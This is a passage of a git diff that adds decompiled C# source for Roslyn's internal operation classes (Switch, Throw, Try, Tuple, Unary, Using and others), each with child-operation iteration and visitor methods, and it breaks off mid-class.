internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Arms.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: Arms.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex - 1); + } + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitSwitchExpression(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitSwitchExpression(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SwitchOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SwitchOperation.cs new file mode 100644 index 0000000..dc461a4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SwitchOperation.cs @@ -0,0 +1,118 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class SwitchOperation : Operation, ISwitchOperation, IOperation +{ + public ImmutableArray Locals { get; } + + public IOperation Value { get; } + + public ImmutableArray Cases { get; } + + public ILabelSymbol ExitLabel { get; } + + internal override int ChildOperationsCount => ((Value != null) ? 1 : 0) + Cases.Length; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Switch; + + internal SwitchOperation(ImmutableArray locals, IOperation value, ImmutableArray cases, ILabelSymbol exitLabel, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Locals = locals; + Value = Operation.SetParentOperation(value, this); + Cases = Operation.SetParentOperation(cases, this); + ExitLabel = exitLabel; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Value != null) + { + return Value; + } + break; + case 1: + if (index < Cases.Length) + { + return Cases[index]; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (!Cases.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 2; + case 1: + if (previousIndex + 1 < Cases.Length) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex + 1); + } + goto case 2; + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Cases.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: Cases.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex - 1); + } + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitSwitch(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitSwitch(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ThrowOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ThrowOperation.cs new file mode 100644 index 0000000..2f871a1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ThrowOperation.cs @@ -0,0 +1,74 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ThrowOperation : Operation, IThrowOperation, IOperation +{ + public IOperation? Exception { get; } + + internal override int ChildOperationsCount => (Exception != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Throw; + + internal ThrowOperation(IOperation? exception, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Exception = Operation.SetParentOperation(exception, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Exception != null) + { + return Exception; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Exception != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Exception != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitThrow(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitThrow(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TranslatedQueryOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TranslatedQueryOperation.cs new file mode 100644 index 0000000..9a18958 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TranslatedQueryOperation.cs @@ -0,0 +1,74 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class TranslatedQueryOperation : Operation, ITranslatedQueryOperation, IOperation +{ + public IOperation Operation { get; } + + internal override int ChildOperationsCount => (Operation != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.TranslatedQuery; + + internal TranslatedQueryOperation(IOperation operation, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Operation = Microsoft.CodeAnalysis.Operation.SetParentOperation(operation, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Operation != null) + { + return Operation; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Operation != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitTranslatedQuery(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitTranslatedQuery(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TryOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TryOperation.cs new file mode 100644 index 0000000..384f09b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TryOperation.cs @@ -0,0 +1,144 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class TryOperation : Operation, ITryOperation, IOperation +{ + public IBlockOperation Body { get; } + + public ImmutableArray Catches { get; } + + public IBlockOperation? Finally { get; } + + public ILabelSymbol? ExitLabel { get; } + + internal override int ChildOperationsCount => ((Body != null) ? 1 : 0) + Catches.Length + ((Finally != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Try; + + internal TryOperation(IBlockOperation body, ImmutableArray catches, IBlockOperation? @finally, ILabelSymbol? exitLabel, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Body = Operation.SetParentOperation(body, this); + Catches = Operation.SetParentOperation(catches, this); + Finally = Operation.SetParentOperation(@finally, this); + ExitLabel = exitLabel; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Body != null) + { + return Body; + } + break; + case 1: + if (index < Catches.Length) + { + return Catches[index]; + } + break; + case 2: + if (Finally != null) + { + return Finally; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Body != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (!Catches.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto IL_0068; + case 1: + if (previousIndex + 1 < Catches.Length) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex + 1); + } + goto IL_0068; + case 2: + case 3: + return (hasNext: false, nextSlot: 3, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_0068: + if (Finally != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (Finally != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + if (!Catches.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: Catches.Length - 1); + } + goto IL_006a; + case 1: + if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex - 1); + } + goto IL_006a; + case -1: + case 0: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_006a: + if (Body != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case -1; + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitTry(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitTry(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TupleBinaryOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TupleBinaryOperation.cs new file mode 100644 index 0000000..de3f6ad --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TupleBinaryOperation.cs @@ -0,0 +1,106 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class TupleBinaryOperation : Operation, ITupleBinaryOperation, IOperation +{ + public BinaryOperatorKind OperatorKind { get; } + + public IOperation LeftOperand { get; } + + public IOperation RightOperand { get; } + + internal override int ChildOperationsCount => ((LeftOperand != null) ? 1 : 0) + ((RightOperand != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.TupleBinary; + + internal TupleBinaryOperation(BinaryOperatorKind operatorKind, IOperation leftOperand, IOperation rightOperand, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + OperatorKind = operatorKind; + LeftOperand = Operation.SetParentOperation(leftOperand, this); + RightOperand = Operation.SetParentOperation(rightOperand, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (LeftOperand != null) + { + return LeftOperand; + } + break; + case 1: + if (RightOperand != null) + { + return RightOperand; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (LeftOperand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (RightOperand != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (RightOperand != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (LeftOperand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitTupleBinaryOperator(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitTupleBinaryOperator(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TupleOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TupleOperation.cs new file mode 100644 index 0000000..0ed3097 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TupleOperation.cs @@ -0,0 +1,92 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class TupleOperation : Operation, ITupleOperation, IOperation +{ + public ImmutableArray Elements { get; } + + public ITypeSymbol? NaturalType { get; } + + internal override int ChildOperationsCount => Elements.Length; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Tuple; + + internal TupleOperation(ImmutableArray elements, ITypeSymbol? naturalType, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Elements = Operation.SetParentOperation(elements, this); + NaturalType = naturalType; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && index < Elements.Length) + { + return Elements[index]; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!Elements.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 1; + case 0: + if (previousIndex + 1 < Elements.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto case 1; + case 1: + return (hasNext: false, nextSlot: 1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if (previousSlot != 0) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (!Elements.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: Elements.Length - 1); + } + } + else if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitTuple(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitTuple(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TypeOfOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TypeOfOperation.cs new file mode 100644 index 0000000..ebee301 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TypeOfOperation.cs @@ -0,0 +1,48 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class TypeOfOperation : Operation, ITypeOfOperation, IOperation +{ + public ITypeSymbol TypeOperand { get; } + + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.TypeOf; + + internal TypeOfOperation(ITypeSymbol typeOperand, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + TypeOperand = typeOperand; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitTypeOf(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitTypeOf(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TypeParameterObjectCreationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TypeParameterObjectCreationOperation.cs new file mode 100644 index 0000000..d1e62b1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TypeParameterObjectCreationOperation.cs @@ -0,0 +1,74 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class TypeParameterObjectCreationOperation : Operation, ITypeParameterObjectCreationOperation, IOperation +{ + public IObjectOrCollectionInitializerOperation? Initializer { get; } + + internal override int ChildOperationsCount => (Initializer != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.TypeParameterObjectCreation; + + internal TypeParameterObjectCreationOperation(IObjectOrCollectionInitializerOperation? initializer, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Initializer = Operation.SetParentOperation(initializer, this); + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Initializer != null) + { + return Initializer; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Initializer != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Initializer != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitTypeParameterObjectCreation(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitTypeParameterObjectCreation(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TypePatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TypePatternOperation.cs new file mode 100644 index 0000000..ccd97c5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/TypePatternOperation.cs @@ -0,0 +1,47 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class TypePatternOperation : BasePatternOperation, ITypePatternOperation, IPatternOperation, IOperation +{ + public ITypeSymbol MatchedType { get; } + + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.TypePattern; + + internal TypePatternOperation(ITypeSymbol matchedType, ITypeSymbol inputType, ITypeSymbol narrowedType, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(inputType, narrowedType, semanticModel, syntax, isImplicit) + { + MatchedType = matchedType; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitTypePattern(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitTypePattern(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/UnaryOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/UnaryOperation.cs new file mode 100644 index 0000000..7eaedc4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/UnaryOperation.cs @@ -0,0 +1,90 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class UnaryOperation : Operation, IUnaryOperation, IOperation +{ + public UnaryOperatorKind OperatorKind { get; } + + public IOperation Operand { get; } + + public bool IsLifted { get; } + + public bool IsChecked { get; } + + public IMethodSymbol? OperatorMethod { get; } + + public ITypeSymbol? ConstrainedToType { get; } + + internal override int ChildOperationsCount => (Operand != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.Unary; + + internal UnaryOperation(UnaryOperatorKind operatorKind, IOperation operand, bool isLifted, bool isChecked, IMethodSymbol? operatorMethod, ITypeSymbol? constrainedToType, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + OperatorKind = operatorKind; + Operand = Operation.SetParentOperation(operand, this); + IsLifted = isLifted; + IsChecked = isChecked; + OperatorMethod = operatorMethod; + ConstrainedToType = constrainedToType; + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Operand != null) + { + return Operand; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Operand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Operand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitUnaryOperator(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitUnaryOperator(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/UnaryOperatorKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/UnaryOperatorKind.cs new file mode 100644 index 0000000..d060874 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/UnaryOperatorKind.cs @@ -0,0 +1,13 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public enum UnaryOperatorKind +{ + None, + BitwiseNegation, + Not, + Plus, + Minus, + True, + False, + Hat +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/UsingDeclarationOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/UsingDeclarationOperation.cs new file mode 100644 index 0000000..1ec557a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/UsingDeclarationOperation.cs @@ -0,0 +1,79 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class UsingDeclarationOperation : Operation, IUsingDeclarationOperation, IOperation +{ + public IVariableDeclarationGroupOperation DeclarationGroup { get; } + + public bool IsAsynchronous { get; } + + public DisposeOperationInfo DisposeInfo { get; } + + internal override int ChildOperationsCount => (DeclarationGroup != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.UsingDeclaration; + + internal UsingDeclarationOperation(IVariableDeclarationGroupOperation declarationGroup, bool isAsynchronous, DisposeOperationInfo disposeInfo, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + DeclarationGroup = Operation.SetParentOperation(declarationGroup, this); + IsAsynchronous = isAsynchronous; + DisposeInfo = disposeInfo; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && DeclarationGroup != null) + { + return DeclarationGroup; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (DeclarationGroup != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (DeclarationGroup != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitUsingDeclaration(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitUsingDeclaration(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/UsingOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/UsingOperation.cs new file mode 100644 index 0000000..940011b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/UsingOperation.cs @@ -0,0 +1,112 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class UsingOperation : Operation, IUsingOperation, IOperation +{ + public IOperation Resources { get; } + + public IOperation Body { get; } + + public ImmutableArray Locals { get; } + + public bool IsAsynchronous { get; } + + public DisposeOperationInfo DisposeInfo { get; } + + internal override int ChildOperationsCount => ((Resources != null) ? 1 : 0) + ((Body != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Using; + + internal UsingOperation(IOperation resources, IOperation body, ImmutableArray locals, bool isAsynchronous, DisposeOperationInfo disposeInfo, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Resources = Operation.SetParentOperation(resources, this); + Body = Operation.SetParentOperation(body, this); + Locals = locals; + IsAsynchronous = isAsynchronous; + DisposeInfo = disposeInfo; + } + + internal override 